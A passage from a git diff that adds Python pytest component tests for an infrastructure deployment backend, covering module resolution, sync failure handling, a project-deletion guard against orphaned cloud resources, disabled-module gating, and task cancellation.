last_synced=last_synced, + ) + + +class TestOrderingsAgree: + def test_single_and_batch_resolution_pick_the_same_row(self, db): + """The core F8 guarantee: the map build and the point lookup must agree. + + Constructed so the two OLD orderings disagreed: source B was synced more + recently (so deploy picked it) but source A has the higher id (so the + last-wins map picked A). + """ + now = datetime.now(UTC) + src_a = _source(db, "original") + src_b = _source(db, "fork") + + # B synced more recently, A inserted later (higher id). + _module(db, source=src_b, last_synced=now) + row_a = _module(db, source=src_a, last_synced=now - timedelta(days=7)) + + single = resolve_module_row(db, PATH) + batch = resolve_module_rows_by_path(db, [PATH])[PATH] + + assert single.id == batch.id, ( + "point lookup and batch map resolved different rows — this is the " + "policy-check vs deploy disagreement in #90 F8" + ) + # And the winner is the recently-synced one, matching deploy's ordering. + assert single.module_source_id == src_b.id + + def test_is_latest_dominates_last_synced(self, db): + now = datetime.now(UTC) + src_a = _source(db, "a") + src_b = _source(db, "b") + + latest = _module(db, source=src_a, is_latest=True, last_synced=now - timedelta(days=30)) + _module(db, source=src_b, is_latest=False, last_synced=now) + + assert resolve_module_row(db, PATH).id == latest.id + assert resolve_module_rows_by_path(db, [PATH])[PATH].id == latest.id + + def test_null_last_synced_loses_to_a_synced_row(self, db): + """nullslast on DESC must reverse to nullsfirst on ASC, or the map inverts.""" + now = datetime.now(UTC) + src_a = _source(db, "never-synced") + src_b = _source(db, "synced") + + _module(db, source=src_a, last_synced=None) + synced = _module(db, source=src_b, last_synced=now) + + assert resolve_module_row(db, PATH).id == synced.id + assert resolve_module_rows_by_path(db, [PATH])[PATH].id == synced.id + + def test_no_rows_resolves_to_none(self, db): + assert resolve_module_row(db, "nope/missing") is None + assert resolve_module_rows_by_path(db, ["nope/missing"]) == {} + + def test_empty_path_list_short_circuits(self, db): + assert resolve_module_rows_by_path(db, []) == {} + + +class TestAmbiguityWarning: + def test_warns_when_two_sources_claim_one_path(self, db, caplog): + src_a = _source(db, "original") + src_b = _source(db, "fork") + _module(db, source=src_a) + _module(db, source=src_b) + + with caplog.at_level(logging.WARNING, logger="services.module_resolution"): + resolve_module_row(db, PATH) + + assert "Cross-source module ambiguity" in caplog.text + assert PATH in caplog.text + + def test_silent_when_one_source_owns_the_path(self, db, caplog): + """Multiple version rows from ONE source is normal D-033 shape, not ambiguity.""" + src = _source(db, "only") + _module(db, source=src, version="1.0.0", is_latest=False) + _module(db, source=src, version="2.0.0", is_latest=True) + + with caplog.at_level(logging.WARNING, logger="services.module_resolution"): + resolve_module_row(db, PATH) + + assert "Cross-source module ambiguity" not in caplog.text + + def test_batch_resolution_warns_per_ambiguous_path(self, db, caplog): + src_a = _source(db, "original") + src_b = _source(db, "fork") + _module(db, source=src_a, path="a/mod") + _module(db, source=src_b, path="a/mod") + _module(db, source=src_a, path="b/mod") # unambiguous + + with caplog.at_level(logging.WARNING, logger="services.module_resolution"): + resolve_module_rows_by_path(db, ["a/mod", "b/mod"]) + + assert caplog.text.count("Cross-source module ambiguity") == 1 + assert "a/mod" in caplog.text diff --git a/backend/tests/component/test_module_source_service.py b/backend/tests/component/test_module_source_service.py index a6ad290b..4e3984c5 100644 --- a/backend/tests/component/test_module_source_service.py +++ b/backend/tests/component/test_module_source_service.py @@ -159,6 +159,135 @@ def test_create_git_source_runs_initial_sync(self, mock_sync_class, mock_bluepri assert args[0].url == "https://github.com/example/repo.git" assert kwargs == {"sync_related_modules": False} + @patch("services.module_source_service.BlueprintSyncService") + @patch("services.module_sync_service.ModuleSyncService") + def test_create_survives_failed_initial_sync_and_leaves_session_committable( + self, mock_sync_class, mock_blueprint_sync_cls, db + ): + """#9: a failing initial sync must not poison the session. + + _auto_sync_blueprints_for_git_source flushes on the *same* session. When + one of those writes failed, catching the exception unwound the Python + stack but left SQLAlchemy in PendingRollback -- so the route's + db.commit() raised PendingRollbackError, surfaced as a 500 that hid the + real cause. The savepoint must contain that damage. + """ + mock_sync_class.return_value.sync_git_source.return_value = { + "modules_found": 0, "modules_created": 0, "modules_updated": 0, "errors": [], + } + # Fail the way the real bug did: a flush error inside the blueprint sync, + # which is what poisons the session (not a plain Python exception). + def _explode(source, **kwargs): + db.add(ModuleLibrary()) # NOT NULL violations on flush + db.flush() + + mock_blueprint_sync_cls.return_value.sync_git_source.side_effect = _explode + + svc = ModuleSourceService(db) + result = svc.create_source(_source_data()) + + # The source still exists ... + assert result["name"] == "new-source" + # ... the failure is reported instead of being swallowed to a warning ... + assert result["sync_status"] == "failed" + assert result["sync_error"] + # ... and the session is usable, which is the actual bug. + db.commit() + assert db.query(ModuleSource).filter_by(name="new-source").one().sync_status == "failed" + + @patch("services.module_source_service.BlueprintSyncService") + @patch("services.module_sync_service.ModuleSyncService") + def test_successful_sync_that_commits_internally_is_not_marked_failed( + self, mock_sync_class, mock_blueprint_sync_cls, db + ): + """The real ModuleSyncService commits inside the savepoint. + + sync_git_source owns its own sync_status bookkeeping and calls + db.commit(); Session.commit() commits the OUTERMOST transaction, which + closes the savepoint. Committing a closed savepoint raises + ResourceClosedError -- which would be caught by the failure handler and + mark a perfectly successful sync as failed. Mocked sync services never + commit, so this path is invisible unless the mock does what the real + thing does. + """ + def _sync_and_commit(src): + src.sync_status = "success" + db.commit() + return {"modules_found": 1, "modules_created": 1, "modules_updated": 0, "errors": []} + + mock_sync_class.return_value.sync_git_source.side_effect = _sync_and_commit + mock_blueprint_sync_cls.return_value.sync_git_source.return_value = { + "blueprints_found": 0, "releases_created": 0, "releases_existing": 0, + "releases_invalid": 0, "errors": [], + } + + result = ModuleSourceService(db).create_source(_source_data()) + + assert result["sync_status"] != "failed", ( + "a successful sync was reported as failed — the savepoint was closed by " + "the inner commit and committing it raised" + ) + assert not result.get("sync_error") + db.commit() + + @patch("services.module_source_service.BlueprintSyncService") + @patch("services.module_sync_service.ModuleSyncService") + def test_create_records_sync_error_text(self, mock_sync_class, mock_blueprint_sync_cls, db): + """The real cause must reach the caller, not just the log.""" + mock_sync_class.return_value.sync_git_source.return_value = { + "modules_found": 0, "modules_created": 0, "modules_updated": 0, "errors": [], + } + mock_blueprint_sync_cls.return_value.sync_git_source.side_effect = RuntimeError( + "manifest.yaml is not valid YAML" + ) + + result = ModuleSourceService(db).create_source(_source_data()) + + assert result["sync_status"] == "failed" + assert "manifest.yaml is not valid YAML" in result["sync_error"] + db.commit() + + @patch("services.module_source_service.BlueprintSyncService") + @patch("services.module_sync_service.ModuleSyncService") + def test_sync_skips_blueprint_sync_when_linked_blueprint_source_is_inactive( + self, mock_sync_class, mock_blueprint_sync_cls, db + ): + """#87 -- the mirror of the #404 guard, for the module->blueprint direction. + + A deliberately deactivated twin blueprint source must not be re-synced + (and therefore re-activated) just because the module source it is + linked to gets synced. + """ + from models import BlueprintSource + + mock_sync_class.return_value.sync_git_source.return_value = { + "modules_found": 0, "modules_created": 0, "modules_updated": 0, "errors": [], + } + # The pre-existing, deliberately deactivated twin. + twin = BlueprintSource( + name="shared blueprints", + source_type="git", + url="https://github.com/example/repo", + branch="main", + git_ref=None, + is_active=False, + sync_status="pending", + ) + db.add(twin) + db.commit() + db.refresh(twin) + + svc = ModuleSourceService(db) + # _source_data() uses url https://github.com/example/repo.git, branch main, + # which _source_key normalises to the same key as the twin above. + result = svc.create_source(_source_data()) + + mock_blueprint_sync_cls.return_value.sync_git_source.assert_not_called() + db.refresh(twin) + assert twin.is_active is False, "module sync re-activated the deactivated blueprint source" + # And the source still got created -- the skip is not a failure. + assert result["name"] == "new-source" + @patch("services.module_sync_service.ModuleSyncService") def test_create_registry_source_does_not_run_initial_git_sync(self, mock_sync_class, db): svc = ModuleSourceService(db) diff --git a/backend/tests/component/test_project_delete_guard.py b/backend/tests/component/test_project_delete_guard.py new file mode 100644 index 00000000..48e168c6 --- /dev/null +++ b/backend/tests/component/test_project_delete_guard.py @@ -0,0 +1,174 @@ +"""DELETE /api/projects/{id} must not orphan live cloud resources (issue #125). + +Forge holds the only record of what a module built, so deleting a project whose +modules still own infrastructure abandons it with no retry path — reported on +3.1.6, where a destroy-all returned non-zero, DELETE succeeded 22 seconds later, +and a live ROKS cluster plus its VPC, three subnets and three public gateways +had to be removed by hand. +""" + +from unittest.mock import patch + +import pytest + +from core.errors import ConflictError +from services.project_service import ProjectService, summarize_module_state + + +@pytest.mark.component +class TestDeleteRefusesUndestroyedModules: + def _project_with_module(self, db, make_project, make_module_library, + make_project_module, status): + project = make_project(is_active=False) + lib = make_module_library(name=f"m-{status}", path=f"bnk/{status}") + module = make_project_module(project=project, library_module=lib, status=status) + db.flush() + return project, module + + @pytest.mark.parametrize("status", [ + "applied", # the obvious case: live infrastructure + "destroy_failed", # the reported case + "destroying", # mid-teardown + "applying", + "apply_failed", # partial infra + "failed", + ]) + def test_refuses_when_a_module_may_still_own_resources( + self, db, make_project, make_module_library, make_project_module, status + ): + project, module = self._project_with_module( + db, make_project, make_module_library, make_project_module, status) + + with patch("services.project_service.invalidate_cache"), \ + pytest.raises(ConflictError) as exc: + ProjectService(db).delete_project(project.id) + + assert "not destroyed" in str(exc.value).lower(), ( + f"a module in {status!r} did not block deletion — its cloud resources " + "would be orphaned with no way to reach them" + ) + # The client needs to know WHICH modules, not just that something blocked. + details = exc.value.details + assert details["requires_force"] is True + ids = [m["id"] for m in details["undestroyed_modules"]] + assert module.id in ids + assert details["undestroyed_modules"][0]["status"] == status + + @pytest.mark.parametrize("status", [ + "destroyed", "not_initialized", "initialized", "planned", + "init_failed", "plan_failed", + ]) + def test_allows_deletion_when_nothing_owns_infrastructure( + self, db, make_project, make_module_library, make_project_module, status + ): + """Contrast: the gate must not block an ordinary cleanup. + + Without this, 'refuses everything' would pass the test above. + """ + project, _ = self._project_with_module( + db, make_project, make_module_library, make_project_module, status) + + with patch("services.project_service.invalidate_cache"), \ + patch("services.workspace_manager.WorkspaceManager.cleanup_project_workspaces", + return_value=0): + result = ProjectService(db).delete_project(project.id) + + assert result["success"] is True + + def test_force_still_abandons_deliberately( + self, db, make_project, make_module_library, make_project_module + ): + """Abandoning resources on purpose stays possible — it just isn't default.""" + project, _ = self._project_with_module( + db, make_project, make_module_library, make_project_module, "destroy_failed") + + with patch("services.project_service.invalidate_cache"), \ + patch("services.workspace_manager.WorkspaceManager.cleanup_project_workspaces", + return_value=0): + result = ProjectService(db).delete_project(project.id, force=True) + + assert result["success"] is True + + def test_empty_project_still_deletes(self, db, make_project): + """A project with no modules has nothing to orphan.""" + project = make_project(is_active=False) + db.flush() + with patch("services.project_service.invalidate_cache"), \ + patch("services.workspace_manager.WorkspaceManager.cleanup_project_workspaces", + return_value=0): + assert ProjectService(db).delete_project(project.id)["success"] is True + + +@pytest.mark.unit +class TestModuleStateSummary: + """module_state is derived from module statuses, not the stored counts. + + The counts bucket by a different rule than the delete gate: deployed_count + counts only "applied", failed_count counts the five *_failed statuses, and + neither counts "applying" or "destroying". Derived from those, a module + mid-teardown reported "clean" while the gate refused with 409 -- a polling + client would have read "clean" and issued the DELETE, which is issue #125 + under a new field name. + """ + + @pytest.mark.parametrize("statuses,expected", [ + ([], "clean"), + (["destroyed"], "clean"), + (["not_initialized", "planned", "initialized"], "clean"), + (["init_failed", "plan_failed"], "clean"), # failed, but own nothing + (["applied"], "in_progress"), + (["destroying"], "in_progress"), # was "clean" -- the bug + (["applying"], "in_progress"), + (["initializing"], "in_progress"), + (["destroy_failed"], "failed"), + (["apply_failed"], "failed"), + (["failed"], "failed"), + (["applied", "destroy_failed"], "failed"), # failure dominates + (["destroyed", "applied"], "in_progress"), # one live module is enough + # A null status is not in NO_INFRA_STATUSES, so it counts as owning + # infrastructure. The gate reads it the same way and refuses the delete, + # which is the fail-closed direction: an unknown status could own anything. + ([None], "in_progress"), + (["destroyed", None], "in_progress"), + ]) + def test_summary(self, statuses, expected): + assert summarize_module_state(statuses) == expected + + +@pytest.mark.component +class TestModuleStateAgreesWithTheDeleteGate: + """The invariant: module_state == "clean" <=> DELETE succeeds unforced. + + Both sides read NO_INFRA_STATUSES, so this holds by construction -- the + point of the test is that it keeps holding when a status is added. If a new + status reaches only one of the two, this fails and names it. + """ + + ALL_STATUSES = [ + "applied", "applying", "destroying", "destroy_failed", "apply_failed", + "failed", "initializing", "planning", + "destroyed", "not_initialized", "initialized", "planned", + "init_failed", "plan_failed", + ] + + @pytest.mark.parametrize("status", ALL_STATUSES) + def test_field_and_gate_never_disagree(self, db, make_project, make_module_library, + make_project_module, status): + project = make_project(is_active=False) + lib = make_module_library(name=f"agree-{status}", path=f"bnk/{status}") + make_project_module(project=project, library_module=lib, status=status) + db.flush() + + state = summarize_module_state(m.status for m in project.project_modules) + + gate_allows = True + try: + ProjectService(db).delete_project(project.id, force=False) + except ConflictError: + gate_allows = False + + assert (state == "clean") is gate_allows, ( + f"status {status!r}: module_state={state!r} but " + f"DELETE {'succeeded' if gate_allows else 'was refused'} -- " + "the field a client polls disagrees with the gate that protects it" + ) diff --git a/backend/tests/component/test_project_module_service.py b/backend/tests/component/test_project_module_service.py index f0c6ddf2..5f9f3e92 100644 --- a/backend/tests/component/test_project_module_service.py +++ b/backend/tests/component/test_project_module_service.py @@ -388,6 +388,34 @@ def test_status_nonexistent_raises(self, svc): with pytest.raises(NotFoundError): svc.get_module_status(99999) + @patch("services.project_module_service.update_project_counts") + @patch("services.project_module_service.detect_module_dependencies", return_value=[]) + def test_status_exposes_latest_task_id(self, mock_deps, mock_counts, svc, project_and_lib, db): + """#154: the task is the handle for the module's output, and it was not + reachable from /status. Newest task by default; the live lock holder + when a task is running now.""" + from models import Task + + project, lib = project_and_lib + mid = svc.add_module(project.id, lib.id, "infra/vpc")["module_id"] + + assert svc.get_module_status(mid)["latest_task_id"] is None + + t1 = Task(project_id=project.id, module_id=mid, task_type="apply", + status="completed", triggered_by="user", celery_task_id="c1") + t2 = Task(project_id=project.id, module_id=mid, task_type="apply", + status="completed", triggered_by="user", celery_task_id="c2") + db.add_all([t1, t2]) + db.commit() + assert svc.get_module_status(mid)["latest_task_id"] == t2.id + + # A task holding the module lock is the one running NOW -- prefer it, + # even if a newer row exists (e.g. a queued retry). + module = svc.get_module(mid) + module.holding_task_id = t1.id + db.commit() + assert svc.get_module_status(mid)["latest_task_id"] == t1.id + class TestModuleVariables: @patch("services.project_module_service.update_project_counts") @@ -1427,3 +1455,320 @@ def test_submit_action_accepts_enum_choice_and_applies_default( mock_dispatch.assert_called_once_with( result["task_id"], module, "run-scenario", {"scenario": "tcpl4lb", "region": "us-east"} ) + + +# ── Disabled modules are not runnable (issue #527) ─────────────────── + + +class TestDisabledModuleIsNotRunnable: + """`enabled: false` must actually hold a module back. + + Issue #527: a blueprint's second module was explicitly disabled, yet the + dependency chain dispatched it the moment the first module completed — so + there was no way to build a ROKS cluster without BNK landing on it. Blueprint + manifests depend on this too: `optional: true` creates a module DISABLED, and + that guarantee is only as strong as this check. + """ + + @patch("services.project_module_service.update_project_counts") + @patch("services.project_module_service.detect_module_dependencies", return_value=[]) + def test_validate_rejects_disabled_module(self, _deps, _counts, svc, db, project_and_lib): + """The shared plan/apply gate refuses a disabled module.""" + from models import ProjectModule + + project, lib = project_and_lib + added = svc.add_module(project.id, lib.id, "infra/vpc") + module = db.query(ProjectModule).filter(ProjectModule.id == added["module_id"]).first() + module.enabled = False + db.flush() + + result = svc.validate_module(module.id, operation="apply") + + assert result["valid"] is False, ( + "a disabled module validated as ready to apply — nothing stops it being " + "deployed (issue #527)" + ) + assert any("disabled" in e.lower() for e in result["errors"]), result["errors"] + + @patch("services.project_module_service.update_project_counts") + @patch("services.project_module_service.detect_module_dependencies", return_value=[]) + def test_validate_allows_enabled_module(self, _deps, _counts, svc, db, project_and_lib): + """Contrast: the same module passes once enabled. + + Without this, the assertion above would also hold if validation were + broken for every module. + """ + from models import ProjectModule + + project, lib = project_and_lib + added = svc.add_module(project.id, lib.id, "infra/vpc") + module = db.query(ProjectModule).filter(ProjectModule.id == added["module_id"]).first() + module.enabled = True + db.flush() + + result = svc.validate_module(module.id, operation="apply") + + assert not any("disabled" in e.lower() for e in result["errors"]), result["errors"] + + @patch("services.project_module_service.update_project_counts") + @patch("services.project_module_service.detect_module_dependencies", return_value=[]) + def test_submit_apply_refuses_disabled_module(self, _deps, _counts, svc, db, project_and_lib): + """A disabled module cannot be deployed by calling apply directly either.""" + from models import ProjectModule + + project, lib = project_and_lib + added = svc.add_module(project.id, lib.id, "infra/vpc") + module = db.query(ProjectModule).filter(ProjectModule.id == added["module_id"]).first() + module.enabled = False + module.status = "initialized" + db.flush() + + with patch("services.execution.task_dispatch.dispatch_apply") as mock_dispatch: + with pytest.raises(BadRequestError, match="(?i)disabled"): + svc.submit_apply(module.id) + mock_dispatch.assert_not_called() + + +# ── Cancel actually stops the work (issues #462, #527 part 2) ──────── + + +class TestCancelStopsRealWork: + """Cancel must revoke queued tasks and kill the daemon-side container. + + Issue #462: `revoke(terminate=True)` SIGKILLs the worker-side `docker run` + client; the container keeps running against live infrastructure while Forge + reports "cancelled" and drops the module lock. And matching only + `status == "in_progress"` left a task queued behind it un-revoked, so the + worker ran the full apply after the user was told it stopped. + """ + + @patch("services.project_module_service.update_project_counts") + @patch("services.project_module_service.detect_module_dependencies", return_value=[]) + def test_cancel_revokes_and_marks_a_queued_task( + self, _deps, _counts, svc, db, project_and_lib, make_task + ): + """F4: a queued task is revoked and marked cancelled, not left live.""" + from models import ProjectModule + from models import Task as TaskModel + + project, lib = project_and_lib + added = svc.add_module(project.id, lib.id, "infra/vpc") + module = db.query(ProjectModule).filter(ProjectModule.id == added["module_id"]).first() + module.status = "applying" + db.flush() + + queued = make_task( + project=project, module=module, task_type="apply", + status="queued", celery_task_id="celery-queued-1", + ) + + revoked = [] + with patch("celery_app.celery_app") as mock_celery, \ + patch.object(svc, "_kill_containers_for_tasks", return_value=([], True)): + mock_celery.control.revoke.side_effect = lambda tid, **kw: revoked.append(tid) + result = svc.cancel_operation(module.id) + + assert result["success"] is True + assert "celery-queued-1" in revoked, ( + "queued task was not revoked — the worker would still run the full apply " + "after the user was told it stopped (issue #462 F4)" + ) + # The service marks; the route commits (project_execution.cancel_deployment), + # so assert on the session object rather than re-reading the DB. + assert queued.status == "cancelled", ( + "a revoked task left in 'queued' still looks live to the rest of the system" + ) + assert result["tasks_cancelled"] == 1 + assert db.query(TaskModel).filter( + TaskModel.module_id == module.id, + TaskModel.status.in_(["queued", "pending", "in_progress"]), + ).count() == 0 + + @patch("services.project_module_service.update_project_counts") + @patch("services.project_module_service.detect_module_dependencies", return_value=[]) + def test_cancel_kills_the_daemon_side_container( + self, _deps, _counts, svc, db, project_and_lib, make_task + ): + """F3: the container is killed, and killed BEFORE the lock is released. + + The kill is now DISPATCHED TO THE WORKER rather than run inline: cancel + executes in the FastAPI `backend` service, whose image has no docker CLI + (only the worker stage copies one) and no DOCKER_HOST. Inline it raised + FileNotFoundError and was swallowed into "0 killed". + """ + from models import ProjectModule + + project, lib = project_and_lib + added = svc.add_module(project.id, lib.id, "infra/vpc") + module = db.query(ProjectModule).filter(ProjectModule.id == added["module_id"]).first() + module.status = "applying" + db.flush() + + make_task( + project=project, module=module, task_type="apply", + status="in_progress", celery_task_id="celery-running-1", + ) + + order = [] + dispatched = MagicMock() + dispatched.get.side_effect = ( + lambda timeout=None: order.append("kill") + or {"killed": ["abc123def456"], "reachable": True, "error": None} + ) + + with patch("celery_app.celery_app"), patch("services.execution.task_dispatch.get_engine_type", return_value="container"), patch("tasks.container_tasks.kill_module_containers") as mock_task, patch("services.module_lock.ModuleLockService") as mock_lock: + mock_task.apply_async.return_value = dispatched + mock_lock.return_value.force_release.side_effect = lambda mid: order.append("unlock") + + result = svc.cancel_operation(module.id) + + assert mock_task.apply_async.called, ( + "the kill was not dispatched to the worker — run inline it hits an " + "image with no docker CLI and silently reports nothing killed" + ) + assert result["containers_killed"] == 1 + assert result["containers_kill_confirmed"] is True + assert order == ["kill", "unlock"], ( + f"lock must not be released before a confirmed kill, got {order}" + ) + + @patch("services.project_module_service.update_project_counts") + @patch("services.project_module_service.detect_module_dependencies", return_value=[]) + def test_cancel_skips_container_kill_for_non_container_engines( + self, _deps, _counts, svc, db, project_and_lib, make_task + ): + """An OpenTofu module has no step container — don't go looking for one.""" + from models import ProjectModule + + project, lib = project_and_lib + added = svc.add_module(project.id, lib.id, "infra/vpc") + module = db.query(ProjectModule).filter(ProjectModule.id == added["module_id"]).first() + module.status = "applying" + db.flush() + + make_task( + project=project, module=module, task_type="apply", + status="in_progress", celery_task_id="celery-running-2", + ) + + with patch("celery_app.celery_app"), \ + patch("services.execution.task_dispatch.get_engine_type", return_value="opentofu"), \ + patch("services.execution.container_runner.DockerRunner") as mock_runner: + result = svc.cancel_operation(module.id) + + mock_runner.assert_not_called() + assert result["containers_killed"] == 0 + + +# ── Review fixes: every dispatch path honours `enabled` (issue #527) ───── + + +class TestEveryDispatchPathHonoursEnabled: + """`enabled` must hold on every route that starts work, not just plan/apply. + + The first pass put the gate in _validate_for_operation, which submit_plan and + submit_apply call — but deploy_module, retry_deployment and submit_action do + not go through it. POST /deploy is the endpoint the UI's Deploy button uses, + so the headline fix was defeated by the most likely route a user takes. + + submit_destroy and cancel_operation are deliberately NOT gated: a disabled + module may still hold infrastructure that must be destroyable, and a running + operation must always be cancellable. + """ + + def _disabled_module(self, svc, db, project_and_lib, status="initialized"): + from models import ProjectModule + + project, lib = project_and_lib + added = svc.add_module(project.id, lib.id, "infra/vpc") + module = db.query(ProjectModule).filter(ProjectModule.id == added["module_id"]).first() + module.enabled = False + module.status = status + db.flush() + return module + + @patch("services.project_module_service.update_project_counts") + @patch("services.project_module_service.detect_module_dependencies", return_value=[]) + def test_deploy_module_refuses_a_disabled_module(self, _d, _c, svc, db, project_and_lib): + module = self._disabled_module(svc, db, project_and_lib) + with patch("services.execution.task_dispatch.dispatch_apply") as apply_, \ + patch("services.execution.task_dispatch.dispatch_init") as init_: + with pytest.raises(BadRequestError, match="(?i)disabled"): + svc.deploy_module(module.id) + apply_.assert_not_called() + init_.assert_not_called() + + @patch("services.project_module_service.update_project_counts") + @patch("services.project_module_service.detect_module_dependencies", return_value=[]) + def test_retry_deployment_refuses_a_disabled_module(self, _d, _c, svc, db, project_and_lib): + module = self._disabled_module(svc, db, project_and_lib, status="apply_failed") + with patch("services.execution.task_dispatch.dispatch_apply") as apply_: + with pytest.raises(BadRequestError, match="(?i)disabled"): + svc.retry_deployment(module.id) + apply_.assert_not_called() + + @patch("services.project_module_service.update_project_counts") + @patch("services.project_module_service.detect_module_dependencies", return_value=[]) + def test_destroy_is_still_allowed_on_a_disabled_module(self, _d, _c, svc, db, project_and_lib): + """Deliberate exception: a disabled module can still hold live infra.""" + module = self._disabled_module(svc, db, project_and_lib, status="applied") + with patch("services.execution.task_dispatch.dispatch_destroy") as destroy_, \ + patch.object(ProjectModuleService, "_create_snapshot"): + destroy_.return_value = MagicMock(id="celery-d") + result = svc.submit_destroy(module.id) + assert result["success"] is True, ( + "a disabled module must remain destroyable — otherwise disabling it " + "strands whatever infrastructure it already built" + ) + + +class TestCancelGuardDoesNotDependOnTheNewestRow: + """A newer, id-less task must not disable cancellation (review finding). + + create_task commits before dispatch stamps celery_task_id, and + _trigger_next_stack_module commits its "pending" row before calling + dispatch_apply. So a NEWER row without an id can sit in front of the running + task. Guarding on cancellable[0].celery_task_id meant the whole cancel was + skipped in that window: the running task was never revoked, no container was + killed, and the caller was told "Reset stuck deployment status" with + success=True. + """ + + @patch("services.project_module_service.update_project_counts") + @patch("services.project_module_service.detect_module_dependencies", return_value=[]) + def test_running_task_is_revoked_despite_a_newer_id_less_row( + self, _d, _c, svc, db, project_and_lib, make_task + ): + from datetime import UTC, datetime, timedelta + + from models import ProjectModule + + project, lib = project_and_lib + added = svc.add_module(project.id, lib.id, "infra/vpc") + module = db.query(ProjectModule).filter(ProjectModule.id == added["module_id"]).first() + module.status = "applying" + db.flush() + + now = datetime.now(UTC) + running = make_task( + project=project, module=module, task_type="apply", + status="in_progress", celery_task_id="celery-running", + ) + running.created_at = now - timedelta(seconds=30) + pending = make_task(project=project, module=module, task_type="apply", status="pending") + pending.celery_task_id = None # the real pre-dispatch state + pending.created_at = now # strictly newer + db.flush() + + revoked = [] + with patch("celery_app.celery_app") as mock_celery, \ + patch.object(ProjectModuleService, "_kill_containers_for_tasks", return_value=([], True)): + mock_celery.control.revoke.side_effect = lambda tid, **kw: revoked.append(tid) + result = svc.cancel_operation(module.id) + + assert "celery-running" in revoked, ( + "the RUNNING task was not revoked — a newer id-less row shadowed it and " + "the caller was told the deployment had been reset while it kept running" + ) + assert running.status == "cancelled" + assert result["tasks_cancelled"] == 2, "the id-less row must still be marked cancelled" diff --git a/backend/tests/component/test_qkview_service.py b/backend/tests/component/test_qkview_service.py index e961599f..df8803ba 100644 --- a/backend/tests/component/test_qkview_service.py +++ b/backend/tests/component/test_qkview_service.py @@ -39,6 +39,7 @@ _check_cert_manager_available, _check_curl_status, _cleanup_all_client_pods, + _client_pod_resources, _copy_cert_to_cwc_license_secret, _create_client_pod, _delete_client_pod, @@ -658,6 +659,87 @@ def test_create_api_error_raises(self, mock_uuid, mock_k8s): with pytest.raises(QKViewError, match="Failed to create"): _create_client_pod(MagicMock(), CLIENT_CERT_CONFIG, CWC_DEFAULT_NAMESPACE) + @patch("services.qkview_service.k8s_client") + @patch("services.qkview_service.uuid") + def test_create_api_error_includes_body_message(self, mock_uuid, mock_k8s): + """Should extract detailed error message from e.body when available.""" + v1 = MagicMock() + mock_k8s.CoreV1Api.return_value = v1 + mock_k8s.rest.ApiException = ApiException + mock_uuid.uuid4.return_value = MagicMock(hex="abcd1234xxxxxx") + + # Create a mock ApiException with detailed error body (e.g., memory limit violation) + exc = _api_exception(422, "Unprocessable Entity") + exc.body = json.dumps({ + "message": "requests: Invalid value: 128Mi: must be less than or equal to memory limit of 64Mi" + }) + v1.create_namespaced_pod.side_effect = exc + + with pytest.raises(QKViewError) as exc_info: + _create_client_pod(MagicMock(), CLIENT_CERT_CONFIG, CWC_DEFAULT_NAMESPACE) + + # Error message should include the detailed message from body + assert "must be less than or equal to memory limit" in str(exc_info.value) + + @patch("services.qkview_service.k8s_client") + @patch("services.qkview_service.uuid") + def test_create_api_error_fallback_to_body_string(self, mock_uuid, mock_k8s): + """Should fall back to raw body string when JSON parsing fails.""" + v1 = MagicMock() + mock_k8s.CoreV1Api.return_value = v1 + mock_k8s.rest.ApiException = ApiException + mock_uuid.uuid4.return_value = MagicMock(hex="abcd1234xxxxxx") + + exc = _api_exception(500, "Internal Server Error") + exc.body = "raw error text without json" + v1.create_namespaced_pod.side_effect = exc + + with pytest.raises(QKViewError) as exc_info: + _create_client_pod(MagicMock(), CLIENT_CERT_CONFIG, CWC_DEFAULT_NAMESPACE) + + # Should include the raw body string in error + assert "raw error text without json" in str(exc_info.value) + + def test_resource_limits_survive_shrink_requests_mutation(self): + """Regression: pod's memory limit must be >= 128Mi to survive kyverno request-raising mutation. + + Test verifies that limits.memory >= 128Mi and requests.memory <= limits.memory, + so a cluster-side kyverno policy that floors memory requests to 128Mi cannot exceed the limit. + """ + # Get the resource dicts directly from the pure helper (no k8s mocking needed) + requests, limits = _client_pod_resources() + + # Parse resource values as Kubernetes quantity format (e.g., "128Mi" -> 128 MiB) + def parse_quantity(value): + """Parse K8s quantity string to bytes. Handles Mi, Gi, m, etc.""" + if isinstance(value, int): + return value + value_str = str(value) + if value_str.endswith("Mi"): + return int(value_str[:-2]) * 1024 * 1024 + if value_str.endswith("Gi"): + return int(value_str[:-2]) * 1024 * 1024 * 1024 + if value_str.endswith("m"): + return int(value_str[:-1]) + return int(value_str) + + # Get memory requests and limits in bytes + mem_request = parse_quantity(requests.get("memory", 0)) + mem_limit = parse_quantity(limits.get("memory", 0)) + + # Invariant 1: Limit must be >= 128Mi (floor imposed by kyverno shrink-requests mutation) + min_limit = 128 * 1024 * 1024 + assert mem_limit >= min_limit, ( + f"Memory limit ({limits['memory']}) must be >= 128Mi to survive " + f"kyverno mutation; got {mem_limit} bytes" + ) + + # Invariant 2: Requests must be <= limit (K8s API validation) + assert mem_request <= mem_limit, ( + f"Memory requests ({requests['memory']}) must be <= limit " + f"({limits['memory']}); got {mem_request} bytes <= {mem_limit} bytes" + ) + class TestDeleteClientPod: """Test _delete_client_pod — best-effort pod deletion.""" diff --git a/backend/tests/component/test_release_source_service.py b/backend/tests/component/test_release_source_service.py new file mode 100644 index 00000000..c9c54388 --- /dev/null +++ b/backend/tests/component/test_release_source_service.py @@ -0,0 +1,490 @@ +""" +Component tests for ReleaseSourceService (ADR-494). + +Covers: + - CRUD: create (credential encrypted), get, list, update, delete + - Sync happy path: source_id + last_synced stamped on catalog rows; + release_count / last_synced_at / sync_status updated on the source + - Sync error path (bad YAML): sync_status="error" + sync_error set + - Sync error path (mid-flush IntegrityError inside savepoint): savepoint + rolls back cleanly; original exception propagates; error state persists + - Route-level sync error path: POST bad YAML → error HTTP response; + GET source confirms sync_status="error" and sync_error is populated + - Regression: default-None source_id in DeployableReleaseRefreshService + leaves existing rows without provenance stamping +""" + +import pytest + +from models.bnk_deployable_release import BnkDeployableRelease +from models.enums import ReleaseSourceKind +from models.release_source import ReleaseSource +from schemas.release_source import ReleaseSourceCreate, ReleaseSourceUpdate +from services.release_source_service import ReleaseSourceService + +# --------------------------------------------------------------------------- +# Minimal BNK manifest YAML (two releases) used across sync tests. +# "charts/f5-lifecycle-operator" must be present — it is the FLO version key. +# --------------------------------------------------------------------------- + +SAMPLE_MANIFEST_YAML = """ +releases: + - version: "2.3.1-3.2598.3-0.0.304" + helm_charts: + - name: "charts/f5-lifecycle-operator" + version: "v2.21.13-0.0.53" + - name: "charts/f5-cnf" + version: "v1.10.0" + docker_images: + - name: 